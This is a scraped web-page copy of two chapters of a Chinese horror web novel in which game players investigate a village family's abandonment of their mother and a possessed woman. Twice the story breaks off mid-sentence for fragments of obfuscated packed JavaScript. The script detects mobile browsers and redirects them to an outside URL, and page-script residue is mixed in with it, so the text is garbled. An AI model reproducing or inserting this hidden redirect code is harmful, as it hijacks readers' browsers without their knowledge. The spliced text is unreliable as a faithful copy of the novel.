“副本中的鬼怪只是糅合了部分精神体的能量，它们几乎没有神志。副本虽然给鬼怪加入了仇恨值，但这种仇恨值只会是在仇人在场的时候起作用。当仇人不在现场，它们只会遵循杀戮本能。没有善恶，没有理智，更没有记忆。也不存在感恩图报。” 赵青的脸色瞬间惨白，身体不住地颤抖起来：“那怎么办！支线任务不管了吗！” 这下轮到霍张为难了。他们的副本虽然才开始两天，但所有玩家已经精疲力尽。尤其在开局就死两人的情况下，生存环境只会变得越来越恶劣。 “我们要不要先去养猪场转一圈？” 三人中，反而易礼最冷静，她的情绪似乎丝毫没受到影响。 “现在？” “不现在去的话，之后没机会了。我们的时间很紧迫，因为接下来，大概率没这么安全的时候让我们去了解真相。只剩下疲于奔命了。” 易礼从树上弄下来一个手臂粗的枝丫在半空中挥舞了几下。 这副本中比较安慰的是，大部分鬼怪都有实体。有实体，证明能被物理攻击。只是物理攻击起到多少实际的作用先不说，至少心里安慰是有的。 赵青一脸土色。这个现实还真是让人心如死灰。 争吵没意义，每一个行动都需要仔细思考。几人放着水井暂时没动，又从养猪场的员工宿舍方向摸进去。 黄毅死后，整个养猪场就没活人了。员工不敢来上班，倒是把他的猪偷走了不少。此时三人站在消毒室内，看着母猪室和配种室空荡荡的房间，里面竟然一头猪都没有。 “到底谁干的？就不怕黄毅那守财奴会提刀上门去砍人么？” 赵青随意嘀咕的一句，易礼却听笑了。 “哎你们说，那黄鹏会不会是因为半夜来偷猪被刚变成鬼的黄毅给砍的？”易礼也不知是开玩笑还是真这么猜，“他这个养猪场，其他人半夜也不敢来吧？” 霍张却觉得这个猜测很神来一笔，之前他就想不明白黄毅提刀杀黄鹏的理由。 他沉吟片刻，道：“等会儿回村看看。” 几人在养猪场内转悠了几圈，然后直奔无害化处理区域的大型绞肉机。 易礼趴在1.2米高的绞肉机旁往里看，除了浓到刺鼻的血腥气，没看到直接有力的证据。不过，她倒是在棚户区的一个铁柱子旁边，发现了一把沾血的柴刀。 “哟，这里有把刀。这刀不会就是黄毅用的那把吧？” 易礼拿在手上掂量了几下，又挥了挥，感觉很趁手。她决定笑纳了。 “你们说，黄毅变成鬼以后，白天会躲在哪里呢？” 8. 第八章 对啊，黄毅死后，他的尸体会藏在哪儿呢？ 霍张和赵青无语地看向易礼。 “怎么了？” “……没事。” 这个问题很难回答。下副本的玩家那么多，至今还没发现一个会反追着鬼怪杀的。更没有人大白天主动去找鬼。当然，这也只是基于霍张的认知。不过人多也会有奇葩，易礼不会是特例。 “你不会想找它吧？”赵青问出了霍张的心里话。 “我找它干嘛？吃饱了撑的？”易礼奇怪地看他们一眼：“在没有绝对的把握能干掉敌人之前，我是那么不长脑子的人么？” ……你难道不是吗？从遇到你到现在，你干过一件沉稳的事？ 当然，这个话赵青没吐槽出口。他毕竟还抱着易礼的大腿，大腿说什么都是对的。 …… “我们该回去了。” 白天不太可能被鬼怪袭击，但大凶之地呆久了会沾染气息，夜里容易被鬼怪重点关照。在场的人，没人愿意享受这种关照。 雨越下越大，天空也逐渐变得灰蒙蒙的。 山间如昨天一样起了薄雾，阴森森的氛围又将整个黄冥村笼罩。不仅建筑物蒙上一层灰，人看起来也苍白憔悴。易礼怀疑雾气不简单是为烘托气氛，而是为了让村子里的鬼怪更好行动。不过这类猜测没从霍张嘴里得到肯定，他也看不懂。 霍张看了眼手表时间，已经九点半。 只是简单地搜寻了几个地方，就过去了两个半小时，今天的时间仿佛过得特别快：“我们得尽快回招待所，十点半食堂会停止供应食物。” 回过神来，他们已经饿了一上午。 赵青不仅挨饿，还一夜没睡，此时脸色白得跟蜡像馆的假人似的。 “我回去要睡一下，撑不住了。” 易礼没什么意见：“我们从村尾绕路走，顺道去黄鹏黄志几兄弟的家里看看。” 毕竟黄鹏究竟有没有偷黄毅的猪，对确定黄毅的下一个目标是谁和黄毅的杀人规则很重要。这玩意儿上来就杀人，死前还见过他们，很难不让人警惕。 几人脚程很快，很快就抵达了黄宝的家。 他们还没进院子，就看到梁琼一脸凝重地从里面出来。 四人碰面，梁琼说出了另一个版本的说辞。 “黄宝声称黄家没有一大家子聚一起过中秋的习惯，每年都是他们自家过自家的。黄玲花失踪那天，他们三人就在老二家里喝酒。而且黄玲花那天闹事，不是为了老大取走母亲养老的钱。根本原因，是黄玲花偶然得知了他们竟然把母亲一个人赶去山脚下的土屋里自生自灭。” “那山脚下的土屋真是给黄家老娘住的？！” 赵青震惊了！他这种还没出社会的少年，无法想象亲生儿子会把老母亲一个人赶出去住。 那老太太可不是只生一个儿子，她有四个儿子！ “对。黄玲花也是母亲死后才知道这事儿。她这么多年寄给母亲养老的钱，一分没花到母亲身上，全进了前头三个兄弟的腰包。” “天啊！”赵青有点接受不了，“这么多年她就没发现么？” “黄家三兄弟联合村里人一起骗她。每次黄玲花回村，三兄弟就会提前把寡母接家里。等糊弄走了黄玲花，又会把人赶走。” “那黄宝呢？他不是小儿子么？不管？” 这就是让梁琼最觉得恶心的地方：“他的说辞是，他家里最穷。当初几兄弟分家的时候，老娘没给他留什么好东西。他没本事，养自己的一家子都费力，实在养不起母亲。又说上头三个哥哥有钱有养猪场有山头，轮不到他一个种地的去逞能。” “那说出真相总可以吧？” 赵青还是年纪太小，不明白成年人的弯弯绕绕。那黄宝要真的那么有孝心，都不用跟姐姐告状，自己就会把母亲照顾好。他一直憋着没说，就是怕事情闹大，照顾母亲的责任会落到自己头上。 自古以来，村子里子孙多的人家都这样。 狼心狗肺的孩子占便宜，孝顺的孩子反而吃大亏。黄宝要是把这事儿给捅穿了，不管三位兄长能受到多少谴责，母亲肯定会被姐姐安排住进他家。他嘴上说说，为可怜的老母亲哭两把是没问题的。但真让他付出实际行动，他又不乐意。 赵青的一张脸都给气得绿惨惨的。他为黄家寡娘不值：“他们娘不是年纪轻轻守寡，吃糠咽菜把这群人拉扯大么？就没有一点感恩之心么？” “感恩之心不能当饭吃，也换不了钱。”霍张像是见惯了这种弃养案件，倒还没什么太大的情绪波动。 “这是钱的事么！再说，一个孤寡老太太能花多少钱？！” “你这么生气干什么？” “我当然生气！”赵青义愤填膺：“要是我发现这事儿，我一准给他捅到网上去！我要让公安机关惩罚这群不肖子孙！” 易礼看了眼黄宝家的小院儿，突然问了一句：“梁姐，他家有猪吗？” “谁家？黄宝家？”梁琼不知道易礼突然问这个问题是想干嘛，摇摇头：“我没注意。不过黄宝家养了鸡鸭倒是真的。刚才我一进门，踩了一脚的鸡屎。” 梁琼这两个半小时可不是只跟黄宝扯皮，附近该探问的，她都问过了。 “左邻右舍能证明黄宝说的话有八成是真的。黄家上头三个哥哥年纪相差不大，从小到大一条心。近几年虽然传出了点兄弟不和的闲言碎语，但真遇到事儿也很团结。关于黄毅把黄玲花打给母亲的养老钱取走这事儿，就是三兄弟一起合计的。由黄毅取，拿回来后三兄弟平分。” “黄玲花这么有钱么？” “不算特别有钱吧。”梁琼说：“每个月能打个七八千过来。” “关于母亲养老，黄玲花跟几个兄弟起过争执。黄玲花想把老母亲接到城里去养老。不过几个哥哥死活不同意，说，有儿子在村里，黄玲花要事敢这么做，就是看不起他们，就是故意想让村里人戳他们老黄家男丁的脊梁骨……” 梁琼深吸一口气，说：“黄玲花拗不过四个兄弟，只能作罢。这次闹得大，是黄玲花发现山脚下的小土屋。” 霍张好半天没说话，回头看向村尾山脚下的土屋，思索起来。 “那个饿死鬼，大概率是黄家老娘。”易礼突然打断了霍张的思绪，笃定道。 “怎么说？”赵青和梁琼的眼神也立即看过来。 易礼于是从兜里掏出一张特别小的黑白全家福。画质已经很糊了，只能依稀看清人物轮廓。坐在最中间的，是一个消瘦的中年女人。怀里抱着八/九岁的孩子，身边坐着一个十一二岁的小姑娘，身后站着三个青年。其他人不好认，黄志却很好认。 他本人虽比照片里的人老很多，五官却没怎么变。 易礼指着其中对着镜头笑得腼腆的消瘦女人：“虽然五官已经变形，面部骨骼却是一样的。” “你这照片什么时候拿的？！” 赵青看到易礼说着话就从兜里掏出一张照片，人都给吓清醒了。 “昨天晚上拿的。” “昨天晚上那么惊险，你还有空拿照片么？！”赵青知道易礼这人神经不一般，却没想到她能离谱到这程度：“你还拿了什么？不会给黄毅的藏宝箱也掏了吧？” “那倒没有。”没来得及。 易礼耸耸肩，又掏出了一堆存折和票据。 “存折所有人的名字写的吴芳，应该就是黄家老太太。这上面的汇款记录来自黄玲花。取款记录，则是由黄毅代办。最新的取款记录，去年十二月六号。我还找到了一份老太太的身份证复印件，上面有很模糊的近照。你们看……” 别说赵青用一种近乎崇拜的眼神看着易礼，就是梁琼和霍张都瞠目结舌。 这小姑娘是什么绝世神偷么？ 躲一趟被鬼追杀，竟然摸到了这么多线索！ 霍张立即拿过身份证复印件，确认以后，立即给梁琼和赵青传阅。 几人确定后，脸色沉重。 是她。 黄家死了十个月的寡娘，吴芳。 “她是被饿死的吗……” “应该是。”易礼将东西收起来，整理好放回兜里：“我现在比较奇怪的是，这三兄弟身上的冻伤从哪里来的。下雨天确实冷，但也没到长冻疮的地步。养猪场不卖生鲜，也没有冷库。他们为什么会有冻伤呢？不止一个人，目前见到的姓黄的人，都有。” “冻伤么？”梁琼激灵灵地回过神，看向易礼：“大概是什么样子的？” 她现在对易礼的话前所未有的重视，短短一天，他们已经充分体会到这姑娘的能力。 “冻伤分四级。一般冻疮很好认，红肿的斑块，并伴随有脱皮；中度冻伤则会有大片红肿，并伴随清澈、充满浆液的大水泡；重度就会出现像黄志脖子上那样的紫红色，蓝黑色的血性水疱。徐翠平身上的冻伤比黄志轻，黄宝身上有没有？” 易礼描述了冻伤的样子，梁琼不由沉吟起来。 “这么说，黄宝和他老婆身上也有。黄宝的脸上就有一个大黑水疱。” 易礼眉头皱起，“所以是为什么？他们身上都有冻伤。” 几人陷入沉思，线索太碎了，捋不到一起去。 “会不会是因为黄玲花？” 许久，赵青小心翼翼地猜测道：“你们想啊，这黄冥村一共就这么大，目前已知的鬼怪里，线索指向也算比较清晰。比如，黄家老太是被饿死的。见不得人浪费粮食。黄毅被鬼杀的，跟冻伤无关。那么，还剩一个极有可能变成鬼的黄玲花。会不会她被扔进水井里冻死的？” “暂时还没确定水井里有黄玲花。”霍张立即打断了他漫无根据的猜测。 “可，除了她，还能有谁？” 赵青觉得自己这么猜很合逻辑，完全没问题：“总不能还有别的东西吧？” 这个猜测就更恐怖了。 “不合逻辑。如果井里确实是黄玲花，它不是还没被放出来？”易礼指出关键的点：“你们不是说鬼有攻击范围？总不能黄玲花的攻击范围覆盖整个村庄吧？或者，远程施加伤害？” 别说，你还真别说。 霍张感觉自己都快被她语不惊人死不休给吓出心脏病了！ “那，我们要去搬开石头，确认一下么？” 梁琼虽然没去后山，但水井，黄玲花，养猪场，几个要素结合到一起，她已经猜到了：“如果是，我们的支线任务完成。但我们即将面临增加一个凶戾大鬼的危险。” 这个问题他们之前已经讨论过。 梁琼跟霍张的想法很一致：“副本的难度已经很高了。贸然再招惹一个大鬼，玩家们可能活不到下副本。目前来说，这次故事线的信息是相对完整的。不完成支线任务，应该也不难查出真相。我奉劝大家，通关的奖励可以少拿，我们的小命只有一条。” 道理是这样没错。赵青立即收回跃跃欲试的心，他还没有勇气直面生死。 “既然这样，按原计划走。” 几人没意见，绕路去黄鹏的住处。 黄鹏家是一个两层的农村自建房。铅白的墙上爬满了青苔，下面有一个很大的院子。围墙不算特别高，攀上去就能将院子里面一览无余。黄鹏家看起来确实比黄宝家好太多，不仅有大院，后院还有一个比较大的猪圈。 还真是，不到二十平方的猪圈里挤着十来头猪。哼哼唧唧的吵个不停。 易礼霍张他们趴在围墙上，就看到先前还哭老公被杀的徐翠平，拿个大勺子正在喂猪。 “还真去偷猪了……” 霍张喃喃道：“可，黄志是怎么精准知道黄毅会出事，还大晚上卡点去偷？” 胆子大得跟开了上帝视角一样。 “他们去偷黄毅的东西不是一天两天。”易礼听见他嘀咕，小声地说：“那天晚上，我们躲在黄毅的宿舍里时就听黄毅在骂贼。估计黄毅的养猪场遭贼不是一回两回。” 赵青点了头：“骂的可凶了！” 霍张都忍不住震惊。这黄家四兄弟还真是个个奇人，上演得什么大戏呢！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673765|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “走，去黄志家看看。” 确定了黄鹏不老实，黄毅杀人的原因基本确定一半。 几人于是马不停蹄，立即转去黄志家。 这黄志跟黄鹏家离得就很近了，只有一墙之隔。两家之间就隔了一棵槐树。连一面墙都公用。黄志家也是二层小洋楼。但墙壁贴了瓷砖，看起来比隔壁黄鹏家时髦点。这家也有个猪圈。 好巧，跟黄鹏家一样，猪圈里也是十几头猪夹在里面惨叫。 空间太小，猪也受不了。见天儿的嚎叫。 真是做贼做一起去了！ 怪不得早上徐翠平会和老三黄志一起去找村委主任。合着两兄弟干了一样的缺德事，黄鹏死了，黄志没死。逃过一劫的黄志心里慌。 这下基本可以确定，黄毅下一个目标会出在哪儿。几人心里都深深松了口气。 至少今晚，黄毅不会出现在招待所。 “得想办法把这两家人分开。” 不能怪易礼心狠，不把NPC的命当命。谁叫他们当贼的？况且玩家现在都自身难保了，实在没办法救NPC：“既然规则确定鬼怪一晚上只能杀一人。这两家人多，牵制黄毅七天应该够了吧？” “……好恶毒。” 易礼锐利的眼神刺过去，赵青立即补上下一句：“我佩服。” 白了他一眼，易礼径自上前去敲门。 门打开，黄志一看又是这群警察，下意识地就想把门关上。 “哎等等！先别关。” 易礼一把抓住门把，死死拽住：“我们是警察，你不配合警察工作？” 黄志这才悻悻地松手，脸色难看的询问易礼又想问什么。 “你知道黄毅昨晚就死了吗？”易礼没有废话，单刀直入。 黄志一听黄毅已经死了，顿时惊了：“不可能！老大要是死了，昨晚拿刀砍人的又是谁？” “不是人，当然是鬼了。” 梁琼的一句话直接给他吓瘫倒地上：“你们村，难道还没见过鬼么？” 黄志的脸色煞白，冷汗刷刷地就流下来。这模样，可真是印证那句老话，不做亏心事不怕鬼敲门。他哆哆嗦嗦地爬起来，眼神不住地往自己的猪圈瞥。显然，他也意识到这次的问题出大了。 见他这样，其他人也没话说。 “早做准备吧。” 易礼拍拍他肩膀：“希望今晚你和你的家人能安全度过。” 丢下一句听起来像安抚，更像诅咒的话。易礼等四个人就离开了黄志家。 回去招待所的路上，赵青不明白易礼这么做的目的。 “你干嘛提醒他？他这种连母亲都不管的恶人，死了不是正好？” 易礼意味深长地看了他一眼，笑：“说不定NPC有应对鬼怪的办法呢？毕竟黄家老娘不就在村子里游荡十个多月了么？你看除了黄毅，黄家其他几个不孝子还不是活得好好的？” 对哦！ 赵青眼睛一亮：“那你刚才干嘛不直接问他！” “你问他就会说吗？”梁琼翻白眼。 “那他要是没有办法呢？” “那就只能死了。”易礼耸肩：“反正他死了，也不影响副本任务。” ……说的也是。 几人说着话，进了招待所的食堂。 食堂空荡荡的，只有一个窗口是开的。里面有个村民在里面打毛线，看见人进来，拿起空盘子空勺准备打饭。王慧和张成龙也在，就在靠近门的位置吃饭。 看见霍张等人进来，两人互相交换了眼神。然后，端着食盆一脸僵硬地凑过来。 几人一一打了饭坐下，身边多了两人，也没抬头。 易礼是真的饿，她还在长身体呢。今天饿的久，恨不得将脸埋进饭盆里吃。霍张也吃的快，不过眼神却在询问两个高中生过来是要说什么。 王慧戳了戳张成龙，张成龙才绷着一张脸，问几人要不要交换线索。 “啊？交换线索？” 梁琼吸取昨晚的教训，不敢剩饭，也在大口吃：“你们能有什么有价值的线索跟我们交换？” 梁琼这话说的不客气，王慧和张成龙的脸一瞬间涨得通红。 他俩为了避开危险，一上午就去了一个地方。 什么有用的线索都没找到不说，又不敢去后山，更不敢去养猪场。回来后就一直在食堂等。说白了，就是在等霍张易礼回来，想从他们的口中白嫖到一些顺利度过这次副本的办法。当然，他们也知道纯白嫖，谁都不会乐意。就装模作样地说要交换信息。 “我们说一个，你们肯定不知道。” “说说看。”易礼吞下最后一口饭，有点想再吃一碗。 “那你们是同意交换了？” “有价值的话，我们不介意给你分享一点。” 张成龙气的脸都青了。刚想拍桌子发脾气，却被王慧给按住了手。 王慧比张成龙清醒，知道眼下这个副本，靠他们两个是不可能安全通关的。他们只能学赵青，跟霍张等人打交道。发脾气只会让双方关系更僵，对他俩没好处。 “我们回来的时候，遇到老葛的媳妇了。” 王慧说：“她的样子有点怪，脸色煞白，眼神空洞洞的，行动也很僵硬。” 她说这话的时候，忍不住东张西望，声音压的很低。霍张等人看她故弄玄虚，正准备敷衍几句。易礼却突然感兴趣：“还有呢？” “还有就是，我记得没错的话，老葛媳妇应该是惯用右手的。” 王慧的脸色煞白，舔了舔干涉的唇道：“但我们今天碰见她的时候，她用左手提重物。就很奇怪。” 这一句，让整个食堂气氛都冷下来。 易礼沉吟了片刻，去又打了一份饭菜回来坐下。 霍张和梁琼赵青三人，表情已经完全凝重。显然，有了昨晚易礼的提醒，他们很快就联想到了藏在镜子里的东西。那个老葛媳妇，该不会是被镜子里的东西给替换了吧？ 镜子里的东西，白天也能行动吗？ 9. 第九章 “什么时候的事？” “没多久之前。”张成龙被霍张冷肃的态度吓一跳，吞了口口水：“她不会真的被什么东西上身了吧？” “副本中的鬼怪不是民俗传说中的鬼魂，不存在上身这种说法。” 霍张立即否认：“通常镜鬼这种杀伤力极大的鬼怪，在副本中限制很大。不走出镜子，顶多吓人而已。但一旦走出镜子，就不好说了。毕竟遭遇过脱离镜子的镜鬼的玩家，至今没有活下来的人。” 霍张的话让整个食堂的空气都凝滞了。 张成龙脸色发白，王慧握着张成龙袖子的手不住地颤抖，“那，那就没有一个应对的办法吗？” 霍张摇摇头，从不掩饰他背后有团队的事实，“我本人第一次遇到镜鬼。” 生存压力太大，环境太恶劣，心理承受能力弱的高中生们一时都憋不住红了眼。 “那我们是不是死定了？又是饿死鬼，又是镜鬼！它根本就没给我们活路啊！”张成龙之前还能逞强，现在赤裸裸的现实摆在眼前，心理防线全面崩溃：“那还玩什么？团灭算了！” 说着，他冲到后厨，要抢厨房的菜刀。吓得准备回家的村民以为他要杀人，连忙冲出后厨。 几人赶紧按住激动的张成龙，霍张卸了他的胳膊才把场面控制住。 张成龙终于憋不住，嚎啕大哭。 他虽然已经下过一次副本，但上次是F本，全员通关。本以为这个本就算加强也不会加多少，结果开局就死两个。现在才第二天，三个大鬼都冒出来，真的撑不住。 “我们死定了，我们死定了……” 他压力大，霍张压力更大。他是在场玩家中资历最老的。可是，压力大难道就不活了吗？ 霍张抢下张成龙的菜刀，场面才平静下来。正当这时，门口忽然有影子晃动。众人扭头，发现老葛媳妇手持剪刀，一脸诡笑着逆光站在后厨门口。佝偻的身体死死堵住后厨入口。 “你们在做什么呢？” 她说话的声音非常尖细，仿佛喉咙里被塞了东西发声很困难似的又尖又哑：“我去招待所没找到你们，原来你们在这？” 冷汗，一瞬间汗湿了后背。所有人在此时都失去了呼吸，惊惧地看着突然出现的老葛媳妇。只见她的两脚脚尖朝后，下半身扭曲，一双绿豆一样的瞳孔在大大的白眼眶中四处乱滚。嘴角咧得老大，仿佛要撕裂嘴角一般，诡异又阴森。 梁琼手心里悄悄捏了一块糖。霍张盯着地上的影子，哑声道：“我们正在找你呢，昨晚就没见你跟老葛回来，我们还以为你们出事了。老葛呢？” “他啊，”老葛媳妇浑浊的眼珠子在眼眶滴溜溜打转，遍布血丝：“昨晚拿了不该拿的东西，死了。” “哦，这样啊。” 霍张松开张成龙站起身，赵青王慧等人立即躲到他背后。 梁琼没好气地看了眼这群怕死的高中生，借着人群的遮挡，悄悄从砧板上拿下那把菜刀：“能说说，他拿了什么东西么？” 易礼站在角落，一声不吭。昨天天太黑，老葛夫妻俩藏在人群后头，易礼没看清楚两人的脸。现在才看清，这老葛媳妇的眼珠子未免也太小了，眼白的部分就中间晃动的一点黑瞳。 “那恐怕是不能跟你们共享的，毕竟老葛拿命换来的线索。”老葛媳妇一边说着一边往后厨里走，所有人都注意到她的扭曲的下半身，恐惧蔓延开来。 只能说，霍张先前告诉易礼的规则已经有一半以上失去说服力。 比如，平安夜不会死人。 而作为听信了这种规则而在第一夜就死去的老葛的老婆，老葛媳妇极有可能会将仇恨转嫁到霍张和梁琼的身上。 “你们倒是活得好好的，哦，也死了一个？” 老葛媳妇那双绿豆一样的眼睛在眼眶里神经质的打转，所有人神经绷到极限。 赵青忍不住小声问易礼：“她现在到底是人是鬼？” ……不是说鬼怪都没有神志么？她怎么说话这么流畅？可如果不是鬼，她的脚为什么是反过来的？而且影子明显不对劲！ 这个问题，就是最有经验的霍张都没办法给出答案。 因为现实已经突破了他的认知，他此时脸上没有了镇定，额头的冷汗一滴一滴滴落下来。 “霍警官，你之前不是说平安夜不会死人么？” 来了！担心的事，终于发生。老葛媳妇的话就像恶魔低语，瞬间在所有人脑海炸响。 “可为什么老葛还是死了？” 老葛媳妇越来越靠近，那双反过来的脚在地上蹭，留下一串湿漉漉的痕迹。这痕迹，跟雨后草丛里很多蛞蝓的粘液很像，有一股非常刺鼻的腥气：“你是不是故意骗我们？也对，你早就看出我们夫妻俩是杀人犯了对吧？所以才故意骗我们去送死……” 霍张浑身的肌肉都紧绷起来，手已经悄悄握住了枪：“我说的是事实，并没有故意骗你们。” “那为什么老葛会死！” 伴随着老葛媳妇崩溃的大喊，空气中仿佛有无数嘶吼与她一同咆哮：“你就是故意的！你就是骗我们这种不识字乡下人去送死！我要杀了你！你骗我们！” 说着，老葛媳妇举着剪刀就像霍张刺来。 众人霎时间四处逃窜，惊恐的尖叫响彻后厨。 张成龙极度恐惧之下，猛地甩开一直抓着他的王慧，头也不回地往门口冲去。 被摔在地上的王慧懵了一瞬，她趴在地上，跟被吓懵了似的死活爬不起来。一旁赵青倒是想拉她，但奈何体力太废物。拽了她几下没拽起来，松开她，他扭头就跑。不过王慧此时却死死抱着他的大腿，死活不松手：“救我！救我！” 霍张在老葛媳妇冲过来的瞬间一把卡住她的胳膊，身体扭转，却还是被锐利的剪刀划伤腹部。鲜血在这一瞬间喷涌而出。 “霍哥！开枪！” 梁琼大喊：“她应该还没完全异化！她的皮肤是热的！” 霍张这时也反应过来。狠狠卸掉老葛媳妇的胳膊，夺下剪刀，将人甩到一边。 老葛媳妇重重地砸在地上，发出咚地一声沉闷的响动。易礼不知从哪儿摸出的草绳，上去就把老葛媳妇给绑了。 老葛媳妇一击不成，张嘴疯狂尖叫。声音嘶哑又尖利刺耳，比大白天撞鬼还要恐怖。 霍张捂着腹部咻咻地喘着粗气，梁琼不解：“为什么不杀了她？” 老葛媳妇这模样，绝对不出了副本了。而且她的情况很怪，直觉告诉她，不杀了会后患无穷。 “人没死，还是活的。” 霍张作为从业二十年的专业刑警，他可以容忍自己不在副本中救人，但不能接受自己亲手杀人。面对同伴的不理解，他也不想解释：“有没有绷带？给我一个。” 梁琼觉得霍张有时候太顽固，都已经下副本了，还坚持原则。但让她去宰了老葛媳妇，她又没办法动手。只能憋着一股闷气，冷着脸从兜里掏出一卷绷带扔过去。 这绷带还是霍张自己带的，因为今早出门背包不方便，拿出来放梁琼的腰包里。 霍张拿了绷带就迅速为自己处理伤口，整个后厨现在就剩霍张，梁琼，易礼和被捆起来的老葛媳妇。刚才腿软的爬不起来的王慧，最后关头还是冲出了后厨。 滋啦滋啦的绷带撕扯声与老葛媳妇粗重从喘息声交织，气氛变得诡异又阴森。 许久，梁琼起身过来搜老葛媳妇的身，却发现易礼已经搜完了。 “怎么样？发现什么没有？” 易礼点点头，拿出了一份揉成一团的纸和一条钻石项链，一枚金戒指和两只金耳环。 “钻石项链？金戒指？” 梁琼无语地看着不停叫唤的老葛媳妇，都下副本了，还拿副本里的金银首饰，是穷疯了吗！ “纸上写了什么？” 易礼展开，这是一份法院传单。 上面除了案件号，表明了传唤应到场日期，9月30日。也注明了传唤案件理由和被传唤人。 案件理由：故意杀人罪、遗弃罪（黄毅、黄鹏、黄志、黄宝）。 几人面面相觑，意外却又恍然大悟。 “故意杀人罪不好猜，但跟遗弃罪联合在一起……这恐怕是黄玲花失踪的真实原因。黄玲花把黄家四兄弟全告上了法庭。” 梁琼回过神来，忍不住愤怒，该死的黄家四兄弟竟然没有一个说实话！ “你在哪儿找到这个的？”梁琼一把抓起老葛媳妇的衣领，将她给拽起来：“说。” 老葛媳妇神志昏昏沉沉，身体已经严重异化。此时听见梁琼的咆哮，只知死死盯着霍张不断渗血的伤口笑：“嘻嘻，嘻嘻……老葛死了，我也活不久，我会拖着你们一起死……” 梁琼的脸色极其难看，她看向霍张，霍张也没别的办法。 易礼却觉得很奇怪：“你们说，黄家兄弟那么爱财。如果真的是他们杀了黄玲花，为什么没有把黄玲花身上值钱的东西一起拿走？难道是怕警察通过这些查到线索？他们有那么谨慎么？” 不怪易礼小看他们，而是那黄志黄鹏能干得出大半夜去养猪场偷猪的蠢事，能舍得不拿黄玲花的首饰？ 这太奇怪了！ 易礼有的时候关注点确实与正常人不一样，但，在副本世界却总是出其不意的精准。 霍张瞳孔放大，看向老葛媳妇的项链：“除非，这东西会带来大麻烦。” 几人对视一眼，神色极其凝重。 易礼也终于感受到来自副本的恶意，这个世界，还真是稍不留心就死了。 她稍稍叹了口气，盯着老葛媳妇看。心里琢磨着要从哪个地方下刀会解决的快一点。那老葛媳妇像是嗅到她无辜表情下隐藏的深深恶意，激灵灵地打了个寒颤，竟是清醒了不少。 “我们昨夜去了后山。”她突然说：“东西是老葛在山上一个树洞里找到的。” 她意思很明确，金银首饰没问题。她一直带着这些东西都没死，反而是老葛先死了。 她的画外音，几人都听懂了。 “山上有什么？” “如果你们能保证带我过这个本，我才会告诉你们。” “你的腿是怎么回事？” “腿？”老葛媳妇仿佛这时候才意识到自己的腿不对劲，低头看了一眼，顿时又疯疯癫癫的叫起来：“腿！我的腿！我的腿怎么变成这样！” 眼看着她又要发疯，易礼又问了她一个问题：“昨晚老葛出事后，你躲在哪儿？” “躲在哪儿？我躲在哪儿？我……我……啊——” 老葛媳妇忽然开始尖叫，抱着脑袋不停地撞墙。看得几人都懵了。 这种情况根本问不出线索。但她身上肯定有线索，还是重要线索。 霍张沉思几秒，决定带上她先回招待所。 “霍哥！她身上确实有线索，但问题更多！”梁琼不同意，老葛媳妇明显就已经异化。虽然玩家死后大多不可能变成鬼怪，但一些特殊情况下被异化，也是会永远留在副本中。如果老葛媳妇属于这种情况，他们等于带着一个定时炸/弹在身边。 “易礼你怎么看？” 霍张当然知道，可是他们现在混淆的信息太多，已经严重影响进度。接下来五天半要怎么度过，危险要怎么规避，他们必须尽快找到应对方式才行。 “我同意霍哥的看法。不过这些首饰别带了，扔了吧。” “易礼！”梁琼受不了这两人，“你们是赌徒吗！生存副本难道不是能苟则苟么？” “苟不了的梁姐。” 易礼指出：“我们已经被重点标记了。首先，黄毅死前见过我们，他盯上我们的可能性很大。其次，镜子里的怪物化作老葛媳妇的模样在村子里游走，我们手里有个真的，也能防止被假货迷惑。最后，多个人多个靶子，真遇到极端情况，她目前也算个人吧？” 易礼的一番话，让愤怒的梁琼冷静下来。 她思索了几秒，最后还是妥协了：“带上她也可以，但不能让她离我们太近。” “对了，赵青那小子呢？” “跑了。”易礼耸耸肩：“老葛媳妇冲进来时吓跑的。” “哦。” 几人回了招待所，已经是下午。 把老葛媳妇丢到墙角，易礼刚坐下，门就被敲响了。 梁琼打开门，一头汗的赵青抹着脸尴尬地看着屋里几人，“霍哥，梁姐，易礼。你们回来了？” 见他们不说话，赵青连忙解释：“我当时不是要抛下你们跑路，我被吓懵了。刚才我回去找你们，你们已经不在那了……” “进来吧。” 赵青挠了挠头，进来一眼就看到被扔在角落的老葛媳妇：“你们怎么把她抓回来了？她，她不是……” “没死，还活着。” “……哦。” 赵青还是第一次见到变成这副模样的活人，这跟鬼怪都没差多少。不过他想问，其他人也没心情解答他的疑惑。先休息，下午天黑之前还得再上山一趟，找到老葛媳妇说的那个树洞。 易礼看了眼窗外的天色，关起了窗户：“你们睡吧，我出去一趟。” “你去哪儿？”见易礼要走，霍张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673766|188643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立即关心道。 “我去昨晚老葛出事的位置再看看。” 虽然老葛媳妇说东西是在山上找到的，但老葛异变却是在村里开始的。易礼可是亲眼目睹了黄毅异变的整个过程，绝对不会超过十分钟。这么短的时间，老葛绝对不可能从山上下来回到村中，再从村中追到养猪场。老葛媳妇装得疯疯癫癫，话里话外却都是陷阱。 不过，就算有陷阱，他们也不得不踩。因为没时间了。 赵青看她要走，立马就表示要跟着一起去。 “别了，你还是休息吧。”易礼拒绝了：“你再不睡觉，今晚鬼怪上门你都跑不动。” 赵青喉咙一哽，憋屈，歇了这口气。 易礼一个人离开了招待所。 